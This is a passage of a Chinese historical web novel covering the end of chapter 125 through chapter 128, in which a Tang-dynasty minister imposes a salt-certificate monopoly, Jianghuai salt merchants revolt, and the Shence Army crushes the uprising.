密室内众人交换着眼神,心中的恐慌稍定,取而代之的是一种被逼到绝境后的、带着赌徒性质的疯狂。他们决定,一方面表面上“配合”新政,登记认购,争取合法身份和初始份额;另一方面,则准备利用自身庞大的资本优势, 在 这 个 由 李 瑾 亲 手 打 开 的 金 融 潘 多 拉 魔 盒 里, 与 朝 廷 进 行 一 场 前 所 未 有 的 资 本 博 弈。 他们自信,在金钱的游戏中,他们这些积累了数代财富的巨贾,不会输给任何人,哪怕是朝廷。
然而,他们低估了李瑾,也低估了这个新生的、被精心设计的“盐引-交易务”体系所蕴含的规则力量和控制力。
就在盐引章程颁布后不久,“大唐通商交易务”再次发布公告:
“为规范盐引交易,保障盐法平稳施行, 自 即 日 起, 所 有 盐 引 ( 包 括 首 发 及 二 级 转 让) 之 登 记、 挂 牌、 成 交、 结 算, 必 须 统 一 在 ‘ 大 唐 通 商 交 易 务’ 进 行, 并 使 用 本 务 认 可 之 ‘ 飞 钱 凭 信’ ( 一 种 类 似 银 行 本 票 的 汇 兑 凭 证) 或 官 定 金 银 进 行 结 算。 私 下 交 易、 不 经 本 务 登 记 之 盐 引, 一 律 视 为 无 效, 不 得 用 于 提 盐。 同 时, 为 防 止 市 场 操 纵 与 过 度 投 机, 本 务 有 权 对 单 日 价 格 波 动 设 定 限 制, 并 可 在 必 要 时 动 用 储 备 盐 引 进 行 市 场 调 节。”**
公告还附带了一系列详细的交易规则、风险提示和违规处罚措施。这意味着, 盐 引 的 交 易 被 完 全 置 于 官 方 的 透 明 化、 集 中 化 监 管 之 下。 豪商们想象的、可以利用资金优势暗中囤积居奇、操纵市场的空间,被大大压缩。所有的交易数据、资金流向、持仓情况,理论上都在交易务(也就是朝廷)的监控之下。那个“必要的市场调节”权力,更是一把悬在投机者头上的达摩克利斯之剑。
沈万川等人看到这份公告,心再次沉了下去。李瑾不仅制定了游戏规则,还 建 立 了 裁 判 所 和 警 察 系 统, 甚 至 自 己 还 保 留 了 随 时 修 改 规 则 和 直 接 干 预 市 场 的 权 力。 这哪里是自由市场?这分明是一个 带 着 镣 铐 的、 被 牢 牢 掌 控 在 朝 廷 手 中 的 资 本 游 戏。**
麟德二年七月,盐引首发日在即。
“大唐通商交易务”内外,人声鼎沸,比“专营证券”发售时更加热闹。各地盐商、闻风而来的投资者、看热闹的百姓,将这里围得水泄不通。巨大的“行情牌”已经挂起,上面列出了不同地区、不同批次盐引的“首发指导价”和“认购代码”。交易务内,身着统一服饰的吏员忙碌地接待登记、审核资质、办理“飞钱凭信”。空气里弥漫着紧张、期待、算计和铜钱的味道。
刘半城、沈万川等人,各自派出了最精明的管事和账房,带着巨额的“飞钱凭信”,准备入场。他们脸色凝重,再无往日的从容。他们知道,这不仅仅是一场买卖,更是一场 决 定 未 来 命 运 的 战 役。** 是屈从于新规则,在镣铐下跳舞,还是能利用资本的力量,在这新游戏中撕开一道口子?
而在不远处的尚书省值房,李瑾站在窗前,似乎能听到东市传来的隐约喧嚣。他手中把玩着一枚刚刚铸造好的、象征盐铁转运使权力的铜印,目光平静。
“相爷,首发即将开始。各地盐商,尤其是沈、刘、王、顾几家,资金都已到位,看架势,是打算大干一场。” 心腹幕僚低声禀报。
“让他们买。” 李瑾淡淡道,嘴角掠过一丝冰冷的弧度,“ 他 们 买 得 越 多, 朝 廷 收 回 的 现 银 就 越 多, 盐 引 制 度 的 根 基 就 越 稳。 他们以为控制了盐引就能控制市场? 却 不 知, 真 正 的 盐, 还 在 官 府 的 盐 场 里。 盐 引, 不 过 是 一 张 入 场 券。 游戏规则和最终解释权, 永 远 在 发 券 的 人 手 中。”
他转过身,将铜印轻轻放在案上:“通知盐铁转运使司筹备处,各地盐场接管、灶户改编、官仓建设,可以加速进行了。 盐 引 的 风 波 只 是 开 始, 真 正 的 较 量, 在 于 能 不 能 生 产 出 足 够 多、 足 够 好、 足 够 便 宜 的 官 盐。** 那,才是我们能否真正收回盐利、平定风波的根基。”
“属下明白!”
窗外,夏日的阳光炽烈,仿佛预示着即将到来的、更为白热化的经济争夺。盐引,这张小小的凭证,已然成为搅动帝国经济格局的风暴之眼。而风暴的中心,那位年轻的宰相,正冷静地布局着下一步,将对手一步步引入他精心编织的、名为“规则”与“秩序”的罗网之中。
第126章 江淮暗潮涌
长安城的“大唐通商交易务”内,盐引发售的喧嚣与博弈,仿佛一场盛大的资本游戏。然而,在这场以规则和金钱为武器的较量之下,一股更加原始、更加暴烈、也更加绝望的暗流,正在帝国最重要的盐产区——江淮大地深处,悄然涌动、汇聚,最终化为即将冲破堤坝的怒潮。
扬州,大运河与长江交汇处的繁华巨邑,此刻却被一种山雨欲来的压抑笼罩。
自盐引章程颁布、盐铁转运使司筹备处开始在各地设立分司、并派出“盐务清厘使”分赴各主要盐区“勘验盐场、登记灶户、核定产量”以来,这座因盐而兴的城市,便陷入了巨大的恐慌与愤怒之中。
漕河两岸,原本桅杆如林、装卸着雪白盐包的货船,如今许多都静静停泊着,船主和商贩们聚在码头酒肆、茶楼中,面色惶惶,议论纷纷。
“听说了吗?高邮那边,盐场的刘大管事,因为‘阻挠盐务清厘’,被新来的清厘使当场拿了,家都给抄了!说是要按‘盗卖官盐、隐匿产量’论罪!”
“何止高邮!盐城、通州、泰州,哪里不是鸡飞狗跳?那些清厘使带着户部和刑部的人,还有兵丁护卫,一来就封账册、查仓库、点灶丁。 过 去 和 盐 场 管 事、 地 方 官 吏 那 点 不 能 见 光 的 勾 当, 全 被 翻 了 出 来! 轻则罚没家产,重则锁拿进京!这哪是清厘,这是抄家灭门啊!”
“盐引!盐引!没有那劳什子盐引,明年一粒盐也别想运出淮南!可那盐引贵得要死,还得去什么‘交易务’买,规矩多如牛毛!我们这些跑船运货的,本小利薄,哪里玩得起?”
“玩不起也得玩!不玩就得饿死!可恨那些清厘使,油盐不进, 过 去 打 点 地 方 官 的 那 套, 在 他 们 面 前 根 本 不 管 用!** 据说都是李相从京里带来的心腹,还有皇后娘娘派来的人,只认朝廷法度,不认金银人情!”
“沈老爷他们呢?不是去长安了吗?怎么还没消息?难道朝廷真要对我们赶尽杀绝?”
恐慌在底层盐商、运户、船工中蔓延。而对于那些真正掌控着江淮盐业命脉的巨室豪强而言,恐惧之后,是滔天的愤怒和破釜沉舟的决绝。
扬州城西,沈氏别业“涵碧园”。
与长安崇仁坊的隐秘不同,此刻汇聚在涵碧园花厅内的,是江淮盐商中最核心、最实力雄厚的一批人。他们大多世代经营,在地方上盘根错节,与历任盐官、乃至州郡长官都有着千丝万缕的联系,甚至私下蓄养着不少护院、庄丁乃至亡命之徒,以保护盐路、打击竞争对手。此刻,这些平日养尊处优、举止风雅的家主们,却个个面色铁青,眼布血丝,厅内气氛肃杀,空气中弥漫着铁锈与硝烟般的气息。
沈万川还未从长安归来(他仍在长安坐镇,试图在“交易务”的框架内做最后博弈),主持大局的是他的族弟,掌控沈氏江淮盐务实际运作的沈万壑。这是一个年近五旬、面容精悍、目光如鹰隼的汉子,手上沾过血,见过风浪。
“诸位,长安的消息,大家都知道了。” 沈万壑的声音嘶哑,带着压抑不住的怒火,“李瑾小儿,欺人太甚!盐引专卖,已是断我等根本。如今又派来这些酷吏清厘盐场,查抄家产,锁拿我盐业子弟! 这 是 不 给 我 们 活 路, 要 将 我 江 淮 盐 业 连 根 拔 起 啊!**”
“沈二爷,长安那边,大掌柜(沈万川)和几位公,就没一点转圜余地了?朝廷……真要如此酷烈?” 一个与沈家关系密切的盐商声音发颤地问。
“转圜?” 沈万壑冷笑一声,从怀中掏出一封密信,狠狠拍在桌上,“这是家兄刚用快马送来的! 朝 廷 已 下 定 决 心, 李 瑾 和 武 后 狼 狈 为 奸, 铁 了 心 要 拿 我 们 开 刀, 用 我 们 的 血 肉, 去 填 他 们 的 国 库, 去 立 他 们 的 威 风! 长安的交易务,就是个诱饵,是个陷阱!家兄他们,如今也是进退维谷!”
他环视众人,眼中凶光毕露:“诸位,还在心存幻想吗?等着朝廷的刀架到脖子上,家产被抄没,子弟被下狱,数代基业毁于一旦吗?!”
“不甘心!老子不甘心!” 一个满脸横肉、掌控沿海数处盐场的豪强拍案而起,他是海盐巨贾朱彪,手下亡命徒众多,“ 老 子 家 的 盐 场, 是 祖 祖 辈 辈 在 海 边 晒 出 来、 用 血 汗 和 人 命 堆 出 来 的!** 朝廷一张纸就想拿走?做梦!逼急了老子,老子一把火烧了盐场,大家都别要!”
“对!不能坐以待毙!” 另一人附和,他是控制漕运节点的运商头目,“咱们手里也不是没有家伙!各家的护院庄丁凑一凑,拉出几千敢打敢拼的汉子不成问题!江淮之地,河网密布,朝廷大军来了也施展不开! 只 要 咱 们 拧 成 一 股 绳, 占 住 盐 场, 卡 住 漕 运, 断 了 长 安、 洛 阳 的 盐 路, 看 朝 廷 慌 不 慌!** 当年徐敬业(隋末江淮叛乱领袖)能闹出多大动静?咱们未必就不行!”
“慎言!” 一个较为年长的盐商喝道,“造·反二字,岂是轻易说得的?那是诛九族的大罪!”
“诛九族?” 朱彪狞笑,“ 现 在 朝 廷 的 架 势, 跟 诛 我 们 九 族 有 什 么 分 别? 横竖都是个死,不如拼一把! 江 淮 地 面 上, 吃 盐 饭 的 人 何 止 十 万? 灶 户、 盐 丁、 运 夫、 船 工, 哪 个 不 是 靠 着 咱 们 吃 饭?** 朝廷断了他们的生路,他们能不恨?只要咱们登高一呼,许以重利,还怕没人跟从?”
沈万壑听着众人的争吵,眼中神色变幻。他比朱彪等人想得更深。 武 装 对 抗 朝 廷, 是 最 后 一 条 路, 也 是 最 危 险 的 路。 但眼下,朝廷步步紧逼,经济手段(盐引、交易务)已将他们逼到墙角,政治斡旋(长安的活动)收效甚微, 除 了 展 现 出 足 以 让 朝 廷 肉 痛、 乃 至 动 摇 国 本 的 力 量, 似 乎 已 无 他 法。 他要的不是真的割据造·反,而是 以 武 力 为 后 盾, 制 造 出 足 够 大 的 混 乱 和 威 胁, 逼 迫 朝 廷 不 得 不 坐 下 来 重 新 谈 判, 在 盐 引 专 卖 的 具 体 执 行 上 做 出 巨 大 让 步, 甚 至 取 消 那 些 要 命 的 清 厘 措 施。
“诸位!” 沈万壑压下心中的躁动,沉声开口,声音不高,却让厅内瞬间安静下来,“朱兄说得在理,但孙公(年长盐商)的顾虑也不无道理。公然扯旗造·反,是自寻死路。但若我等 束 手 就 擒, 也 是 死 路 一 条。 为今之计, 需 让 朝 廷 知 道, 江 淮 盐 事, 不 是 他 李 瑾 一 纸 文 书 就 能 摆 平 的! 要让他们看到, 硬 来 的 代 价, 他 们 付 不 起!”
他站起身,走到悬挂的江淮地图前,手指重重地点在几个位置:“ 第 一, 立 即 串 联 各 地 盐 场 灶 户、 盐 丁。 朝廷清厘,受损的不止是我们,那些灶户被官府直接控制,日子未必好过。告诉他们, 朝 廷 这 是 要 夺 了 他 们 的 饭 碗, 将 他 们 变 成 官 府 的 奴 工! 许以重利,鼓动他们 罢 工、 毁 灶、 甚 至 … … 闹 事!** 要让淮南、淮北各大盐场,瞬间瘫痪!”
“ 第 二, 控 制 漕 运 要 冲。” 他的手指划过运河与淮水,“淮阴、楚州、扬州、润州……这些节点,必须掌握在我们手中。 召 集 各 家 护 院、 庄 丁, 再 重 金 招 募 江 湖 亡 命、 漕 帮 力 夫, 组 成 护 盐 队 伍。 一旦事起,立刻封锁河道,扣押官私盐船, 绝 不 让 一 粒 盐 北 上 西 进! 尤其是运往长安、洛阳的漕粮盐船,要给我扣得死死的!”
“ 第 三, 联 络 地 方。” 沈万壑压低声音,“江淮各州县的官员、胥吏,过去没少拿我们的好处。如今朝廷要动我们的根,也是动他们的财路。 想 办 法 晓 以 利 害, 最 好 能 让 他 们 或 明 或 暗 地 给 予 方 便, 至 不 济, 也 要 让 他 们 睁 一 只 眼 闭 一 只 眼。 另外, 江 湖 上 那 些 水 匪 湖 盗, 也 可 以 花 钱 买 通, 让 他 们 在 这 个 时 候 闹 出 点 动 静, 越 大 越 好, 把 水 搅 浑!**”
“ 第 四, 造 势。” 他眼中寒光一闪,“ 派 人 散 布 消 息, 就 说 朝 廷 不 仅 要 夺 盐, 还 要 加 重 盐 税, 盐 价 将 飞 涨, 百 姓 将 无 盐 可 食。 鼓动市井小民、升斗百姓去冲击那些新设的盐铁转运分司衙门, 就 说 他 们 是 来 抢 盐、 抬 价 的 酷 吏! 要让江淮乱起来,越乱越好!乱到朝廷不得不派人来安抚,乱到长安的陛下和皇后夜里睡不着觉!”
朱彪听得热血沸腾,摩拳擦掌:“沈二爷深谋远虑!就这么干!老子这就回去召集人手,先把盐场给他停了!”
“慢着!” 沈万壑喝道,“ 不 是 现 在 就 动 手!** 要等一个时机!”
“什么时机?”
沈万壑看向北方,那是长安的方向,眼中闪过一丝狠绝:“ 等 家 兄 他 们 从 长 安 传 来 最 后 的 确 切 消 息。 也要等朝廷的清厘使,把刀子架到更多人的脖子上, 等 怒 火 烧 到 最 旺 的 时 候! 更 要 等 … … 一 个 能 让 天 下 人 都 看 到 朝 廷 ‘ 暴 政 ’ 的 导 火 索!**” 他顿了顿,声音如同毒蛇吐信,“比如……某位清厘使,或者转运分司的官员,‘不幸’被‘愤怒的灶户’或‘乱民’所杀……”
厅内众人闻言,先是一静,随即眼中都露出了心领神会、甚至带着残忍兴奋的光芒。 他 们 知 道, 这 是 要 将 事 情 彻 底 闹 大, 闹 到 无 法 收 场, 逼 朝 廷 妥 协。 至于这会死多少人,会造成多大的破坏,他们已经顾不上了。财富和权力即将被剥夺的恐惧,已让他们红了眼。
就在江淮暗流汹涌、密谋串联之时,数匹快马正携带着扬州盐铁转运分司(筹)的紧急密报,星夜兼程,驰向长安。
密报中详细陈述了清厘盐务遇到的巨大阻力:盐场管事抵触、账册焚毁或藏匿、灶户被煽动闹事、地方官吏阳奉阴违、甚至发生了小规模冲突…… 奏 报 的 官 员 用 沉 重 的 笔 调 写 道: “ 江 淮 盐 政, 积 弊 已 深, 豪 强 盘 根 错 节。 新 法 推 行, 彼 等 明 面 敷 衍, 暗 中 抵 制, 更 有 聚 众 串 联、 图 谋 不 轨 之 象。 各地盐枭、私贩及不法之徒,有蠢蠢欲动之势。 卑 职 恐, 若 处 置 不 当, 或 有 大 变 之 忧, 恳 请 朝 廷 早 做 决 断, 加 派 干 员 兵 丁, 以 镇 不 轨。**”
这封密报,与沈万川从长安发出的、描述“交易务”内盐引被大额资金围猎、试图操纵市场遇挫的密信,几乎同时摆在了尚书省李瑾的案头。
烛光下,李瑾仔细阅读着这两份来自不同战场、却指向同一群敌人的报告。他的脸上没有愤怒,没有惊讶,只有一片冰封般的沉静,以及眼底深处那跃动着的、仿佛能洞悉一切阴谋与疯狂的锐利光芒。
“终于……要图穷匕见了么?” 他低语,手指轻轻敲击着案几上江淮的地图,指尖划过运河,停留在扬州的位置。
“相爷,江淮形势危殆,是否暂缓清厘,或……请旨调派地方府兵弹压?” 幕僚担忧地问道。
“暂缓?弹压?” 李瑾缓缓摇头,嘴角勾起一抹冰冷而决绝的弧度,“不。 他 们 既 然 想 要 一 场 风 暴, 那 本 相, 就 给 他 们 一 场 足 以 将 一 切 污 秽 涤 荡 干 净 的 狂 风 暴 雨。 传令江淮各分司, 清 厘 之 事, 按 原 计 划 加 速 进 行, 不 得 有 误。 凡有阻挠、隐匿、煽动者, 取 证 之 后, 可 就 地 锁 拿, 严 惩 不 贷! 同时,以六百里加急, 密 令 神 策 军 右 卫 中 郎 将 苏 定 方 ( 假 设 的 将 领), 即 刻 点 齐 五 千 精 骑, 隐 蔽 行 军, 悄 然 南 下, 屯 于 汴 州 左 近, 听 候 调 遣。 再令沿途各州县, 严 查 河 道, 但 有 大 批 人 员、 物 资 异 动, 立 即 上 报!**”
幕僚心头一震:“相爷是要……引蛇出洞,然后……”
“不错。” 李瑾站起身,望向南方漆黑的夜空,那里是江淮的方向,“ 痈 疽 不 破, 终 是 大 患。 他们既然想乱,那就让他们乱。 乱 到 足 够 他 们 暴 露 所 有 的 野 心 和 力 量, 乱 到 天 下 人 都 看 清 他 们 的 面 目。 然后……” 他的声音斩钉截铁,带着不容置疑的杀伐之气,“ 再 以 迅 雷 不 及 掩 耳 之 势, 一 举 荡 平! 用 他 们 的 血, 为 大 唐 的 盐 铁 专 卖 新 政, 祭 旗!”
窗外,夜风呼啸,卷动着庭前的落叶,仿佛预示着南方即将到来的腥风血雨。一场由经济改革引爆的、涉及帝国财富命脉的武装冲突,已如箭在弦上,一触即发。
第127章 神策军南下
麟德二年八月的长安,暑气未消,但两仪殿内的气氛,却比严冬更凛冽几分。
李瑾身着紫色朝服,手持玉笏,立于御阶之下,声音清晰而坚定,回荡在寂静的大殿中:“…… 江 淮 盐 枭 沈 万 壑、 朱 彪 等, 抗 拒 朝 命, 聚 众 为 乱。 煽动盐丁灶户,毁坏盐场官署;纠结亡命,私蓄兵甲,阻断漕运,劫掠官盐;更悍然袭杀朝廷钦派之盐务清厘使、御史台监察御史郑攸及其随从二十七人于扬州邵伯驿, 悬 首 示 众, 公 然 蔑 视 朝 廷, 形 同 谋 逆! 江淮盐务转运分司急报,乱众已逾万数,占据运河要冲,扬州、楚州等地人心惶惶,盐路几近断绝。 此 风 不 可 涨, 此 贼 不 可 赦! 臣请陛下速下明诏,发兵平叛,以正·国法,以安社稷!”
“哗——” 尽管早有风声,但李瑾当廷奏报的残酷细节——尤其是清厘使郑攸等人被杀的恶性·事件——依然引起朝堂上一片压抑的惊呼和骚动。郑攸是御史台有名的刚正官员,他的死,意味着 叛 乱 已 不 是 简 单 的 骚 扰 对 抗, 而 是 血 淋 淋 的 武 装 反 叛。**
龙椅上的李治,面色苍白,咳嗽了几声,但眼神却异常锐利。他身体虽弱,帝王威严却未曾稍减。他看向帘后,武媚娘清冷的声音随即响起:“李相所言,诸位爱卿可有异议?”
短暂的沉默后,反对的声音不出意料地响起。
“陛下,皇后娘娘!” 一位出身山东士族、与江淮豪商素有往来的老臣出列,他并未直接为叛军开脱,而是迂回进言:“江淮盐事,牵涉甚广,骤然更张,民间或有不适,滋生事端,亦在情理。郑御史罹难,臣等痛心疾首。然 用 兵 乃 国 之 大 事, 不 可 不 慎。 盐枭虽桀骜,究系乌合之众,或可遣一重臣,持节宣慰,申明朝廷德意,惩办首恶,安抚胁从,或可不战而定。 若 大 动 干 戈, 恐 江 淮 糜 烂, 生 灵 涂 炭, 更 损 国 家 元 气。** 且大军一动,钱粮耗费巨大,如今国库……” 他欲言又止,但意思很明显——打仗要花钱,朝廷现在推行新政,处处用钱,哪里还有余粮?
立刻有大臣附和:“是啊,陛下。江淮乃财赋重地,运河咽喉。一旦开战,漕运必断,京师供给堪忧。 不 若 暂 缓 盐 引 新 法, 稍 作 安 抚, 待 事 态 平 息, 再 从 长 计 议。 此 乃 老 成 持 重 之 道。” 这几乎是公然要求朝廷退让了。
李瑾目光扫过这些出言的大臣,心中冷笑。 这 些 人, 或 与 江 淮 豪 强 利 益 勾 连, 或 惧 怕 战 事 影 响 自 身 安 逸, 或 纯 粹 是 对 新 政 不 满 借 机 发 难。 他们的话听起来冠冕堂皇,处处为朝廷、为百姓着想,实则是在为叛军张目,企图逼迫朝廷妥协。
“荒谬!” 不等李瑾开口,兵部侍郎、李瑾一系的将领程务挺(史实人物,高宗朝名将,此处借用其名)已然出列,声若洪钟:“ 郑 御 史 乃 朝 廷 钦 差, 代 表 天 子 威 仪, 竟 被 盐 枭 残 杀 悬 首, 此 乃 对 朝 廷 对 陛 下 公 然 挑 衅! 若此等逆举尚可宣慰安抚, 则 国 法 何 在? 朝 廷 威 严 何 在? 今日淮南通盐枭可杀钦差,明日山南的矿霸、剑南的茶商是否亦可效仿? 此 例 一 开, 四 方 豪 强 必 然 蜂 起 效 尤, 大 唐 江 山 还 有 宁 日 否?”
他转向李治和武后,躬身道:“陛下,娘娘! 乱 臣 贼 子, 人 人 得 而 诛 之! 盐枭不过仗着些许资财,纠合亡命,看似势大,实则各怀鬼胎,未经战阵,乃 土 鸡 瓦 犬 尔! 臣愿领一旅之师南下,必为陛下擒此獠,悬首阙下,以儆效尤!”
“程将军勇武可嘉。” 李瑾此时缓缓开口,声音平静却带着不容置疑的力量,“然江淮之事,非独军事,乃关乎盐政国策,关乎朝廷信用,关乎天下人如何看待此番新政。 若 以 妥 协 换 暂 时 平 静, 则 新 政 必 废, 朝 廷 威 信 扫 地, 日 后 政 令 再 难 出 长 安。 此例, 绝 不 可 开。”
他再次面向御座,朗声道:“陛下,娘娘,盐铁专卖,乃富国强兵、充实国帑之根本大计,利在千秋。江淮盐枭,为保一己私利, 不 惜 煽 乱 地 方, 杀 害 朝 臣, 断 绝 漕 运, 此 乃 动 摇 国 本 之 举, 与 谋 逆 无 异! 当此之时,唯有以雷霆万钧之势,速发天兵, 平 定 叛 乱, 彰 显 国 法, 方 能 震 慑 不 轨, 保 新 政 推 行。 些许钱粮耗费,与盐利长久之得相比,微不足道。至于漕运, 只 要 平 叛 迅 捷, 影 响 有 限, 且 臣 已 令 户 部 与 转 运 使 司 筹 备 应 急 之 策。”
他顿了顿,抛出了最关键的建议:“为求速战速决,一击制敌, 臣 举 荐 神 策 军 右 卫 中 郎 将 苏 定 方 为 将, 统 率 神 策 军 精 锐 五 千, 并 节 制 淮 南、 河 南 道 府 兵, 即 刻 南 下 平 叛!**”
“神策军?” 朝堂上又是一阵低语。神策军是李瑾一手组建、武后鼎力支持的新军,装备精良,训练有素,虽成军不久,但在北疆小规模冲突中已崭露头角,被视为朝廷手中最锋利的一把新刀。用这支军队去平定盐枭叛乱, 可 见 朝 廷 ( 实 则 是 李 瑾 与 武 后) 平 乱 之 决 心, 也 是 对 新 军 战 力 的 一 次 重 大 考 验。
“臣附议!” 程务挺立刻支持。
“臣附议!” 更多支持新政的官员出列表态。
反对派还想再争,帘后武媚娘清冽的声音已然定调:“盐枭猖獗,戕害钦差,阻断漕运,形同叛逆,罪在不赦。 李 相 所 奏, 老 成 谋 国, 苏 定 方 忠 勇 可 用。 着即授苏定方为江淮道黜陟讨击使,节制淮南、河南诸军,率神策军精锐五千,即日南下, 剿 抚 并 用, 速 平 叛 乱。 凡抗拒天兵者, 格 杀 勿 论! 有 擒 斩 首 恶 沈 万 壑、 朱 彪 者, 赏 万 金, 授 上 爵!** 沿途州县,需竭力供应粮草,不得有误!钦此。”
皇后的决断,为这场朝议画上了**。反对者黯然退下,他们知道, 在 钦 差 被 杀 这 一 血 案 面 前, 任 何 “ 怀 柔” 的 主 张 都 显 得 苍 白 无 力。 李瑾和武后,抓住了最有利的时机和道义旗帜。
旨意以最快的速度传出。早已在汴州附近秘密集结、枕戈待旦的神策军五千精骑,在主将苏定方的率领下,如同解开枷锁的猛虎,滚滚铁流,直扑淮南。
苏定方,年近四旬,并非历史上那位名将,而是李瑾从边军中简拔、在新军体系中精心培养的将领。他治军极严,深谙骑兵奔袭、分割包围的战术,更对李瑾“兵贵神速、器械精良、信息为先”的建军理念贯彻到底。神策军一人双马,装备了最新的明光铠改良甲、精炼横刀、强弩,以及便于携带的野战口粮, 行 军 速 度 远 非 寻 常 府 兵 可 比。
与此同时,李瑾坐镇长安,通过新建立的、依托驿站和信鸽的紧急通信网络,与苏定方及江淮各州县保持密切联系。 他 不 仅 是 平 叛 的 发 起 者, 更 是 整 个 行 动 的 总 策 划 和 情 报 中 枢。 潜伏在扬州等地的察事听子(李瑾组建的情报组织),将叛军的兵力分布、头目动向、漕运关卡设置等情报,源源不断送回。
江淮之地,此刻已是一片混乱。
沈万壑、朱彪等人,在杀害郑攸、扯起“清君侧、抗暴政”的荒谬旗号后(他们自然不敢直指皇帝,只敢将矛头对准李瑾和“酷吏”),最初确实造成了不少声势。他们利用多年积累的财富, 重 金 招 募 亡 命、 煽 动 对 新 政 不 满 的 灶 户 盐 丁, 短 时 间 内 聚 拢 了 数 万 乌 合 之 众。** 凭借对地形的熟悉和在水网地带的优势,他们攻占了几处盐场和漕运隘口,劫掠官仓,气焰一度十分嚣张。扬州城内,也出现了小规模骚乱,盐铁转运分司衙门被围,幸得当地驻军弹压,未致失守。
然而,叛军的弱点很快暴露。他们 毕 竟 是 仓 促 纠 合, 各 部 之 间 互 不 统 属, 号 令 不 一; 核心的亡命徒和豪强私兵不过数千,其余多是裹挟的流民、灶户,战力低下,更无严明纪律。劫掠盐仓、富户之后,内部因分赃不均而起的龃龉日益增多。 沈 万 壑 等 人 本 意 是 以 武 力 逼 朝 廷 谈 判, 并 未 做 好 与 朝 廷 大 军 长 期 作 战 的 准 备, 更 缺 乏 有 效 的 后 勤 和 组 织。
当苏定方率神策军精锐,以 日 行 近 两 百 里 的 惊 人 速 度 突 入 淮 南 时, 叛军甚至还未完成有效的集结和布防。苏定方用兵,深得“其疾如风”的精髓。他并不理会那些占据州县城池、看似声势浩大的叛军大队, 而 是 根 据 长 安 传 来 的 精 确 情 报, 直 扑 叛 军 核 心 首 脑 所 在 及 漕 运 关 键 节 点。**
首战,选在运河与淮水交汇的要隘山阳渎。朱彪在此聚集了数千人马,设卡封锁河道,扣押了大量漕船。苏定方率军黎明突至,以 强 弩 覆 盖、 精 骑 突 击 的 战 术, 在 叛 军 尚 未 列 阵 完 毕 时 便 发 动 猛 攻。 神策军训练有素,铠甲精良,锋镝所指,叛军一触即溃。朱彪本人企图乘船逃跑,被神策军神射手一箭射落水中,旋即被擒。 此 战, 歼 敌 千 余, 俘 获 无 数, 漕 运 要 道 瞬 间 贯 通。**
捷报传至扬州,沈万壑大惊失色。他没想到朝廷反应如此迅猛,更没想到官军战力如此强悍。他急令收缩兵力,试图依托扬州城外的复杂水网和村镇进行抵抗,同时派人联络其他盐枭,甚至想勾结太湖一带的水匪,互为犄角。
然而,苏定方根本不给他喘息和串联的机会。 在 长 安 李 瑾 的 遥 控 指 挥 和 情 报 支 持 下, 神 策 军 如 同 一 柄 锋 利 的 手 术 刀, 精 准 地 切 向 叛 军 的 要 害。** 分兵疾进,剿抚并用。对负隅顽抗的核心叛匪,坚决打击,毫不留情;对被裹挟的灶丁、流民,则宣扬朝廷“只诛首恶,胁从不问”的政策,分发粮食,予以遣散。
不过旬日之间,数股叛军被击溃。苏定方亲率主力, 以 俘 虏 的 叛 军 小 头 目 为 向 导, 悄 然 穿 越 芦 苇 荡, 直 扑 沈 万 壑 藏 身 的 高 邮 湖 秘 密 水 寨。 是夜,风雨交加,神策军乘快船突袭,火矢如蝗,点燃水寨。沈万壑在亲信拼死护卫下乘小船突围, 却 被 早 已 埋 伏 在 水 道 出 口 的 神 策 军 快 艇 截 个 正 着, 束 手 就 擒。
至此,江淮盐枭叛乱的核心被一举捣毁。剩下的散兵游勇,在朝廷大军和重新整肃的地方府兵联合清剿下,很快烟消云散。 从 神 策 军 出 兵, 到 主 要 叛 首 被 擒, 前 后 不 过 二 十 余 日, 一 场 声 势 浩 大 的 叛 乱, 竟 如 沸 汤 泼 雪 般 迅 速 消 融。** 神策军强悍的战斗力、高效的机动性、精准的情报支持和主帅果决的指挥,让所有旁观者为之震撼。
消息传回长安,朝野震动。那些原本质疑用兵、或心怀侥幸的大臣,尽皆失声。 李 瑾 与 武 后 的 铁 腕, 配 合 神 策 军 的 锋 芒, 展 现 出 了 压 倒 性 的 力 量。
两仪殿内,李治看着苏定方八百里加急送来的捷报,苍白的脸上泛起一丝红晕,连说了三个“好”字。武媚娘在帘后,语气平静却带着毋庸置疑的威严:“ 叛 首 既 已 就 擒, 着 即 槛 送 京 师, 明 正 典 刑, 以 告 天 下。 其余附逆者,按律严惩,绝不姑息。江淮盐务清厘及盐引发售事宜, 着 李 相 会 同 盐 铁 转 运 使 司, 趁 此 大 胜 之 威, 加 速 推 行, 不 得 有 误。**”
尘埃落定。江淮盐商企图以武力对抗新政的图谋,在朝廷迅雷般的军事打击下彻底粉碎。 这 一 战, 不 仅 平 定 了 叛 乱, 更 是 用 鲜 血 与 铁 蹄, 为 大 唐 的 盐 铁 专 卖 新 政, 扫 清 了 最 大、 也 是 最 顽 固 的 障 碍。 经此一役,天下人皆知,朝廷推行盐政改革之决心,无可动摇;任何试图以武力挑战者,都将被无情碾碎。
而经受了战火洗礼的“神策军”之名,也开始真正响彻朝野,成为李瑾和武后手中一张令人敬畏的强力王牌。江淮的天空,随着叛乱的硝烟散去,似乎变得清澈了许多。然而,所有人都知道,真正的风暴或许已经过去,但由此引发的变革浪潮,才刚刚开始席卷帝国的每一个角落。
第128章 国帑增巨万
麟德二年的深秋,长安城在经历了江淮平叛的惊心动魄后,似乎进入了一种奇特的平静。但这平静之下,涌动着的是比战争硝烟更为持久、也更为深刻的力量—— 金 钱 与 数 字 的 力 量。 随着沈万壑、朱彪等盐枭巨寇被槛车押解进京,明正典刑,悬首示众,江淮盐务的阴霾被雷霆扫荡一空,盐铁专卖新政,终于得以在血与火的奠基之后,全面、迅速地铺开。
麟德三年元日,盐引专卖新法正式于全国施行。
没有了江淮豪强的拼死阻挠,各地虽有零星骚动,但在朝廷(尤其是李瑾通过盐铁转运使司)的强力推行和地方官府的配合下,新政如同开闸的洪水,迅速席卷了帝国主要的盐、铁、茶产区。盐场、铁矿、茶山被逐步收归官营或官督商办,灶户、矿工、茶农被纳入新的管理体系,领取定额工钱或与官府分成。 大 唐 通 商 交 易 务 成 为 盐 引、 铁 引、 茶 引 发 售 和 流 通 的 唯 一 合 法 平 台,** 每日的交易量与价格波动,吸引着无数逐利的目光。而“专营证券”的价格,随着专卖政策的稳步推进,也开始稳步上扬,为早期认购者带来了丰厚的纸上富贵,进一步巩固了支持新政的“利益同盟”。
新政推行不易,初期投入巨大,接管盐场、安置人员、建立新的运输仓储体系、打击残余私贩,无不耗费钱粮。朝中质疑之声虽因平叛大胜而暂时噤声,但一双双眼睛仍在暗中盯着,等待着新政“劳民伤财、得不偿失”的那一刻。
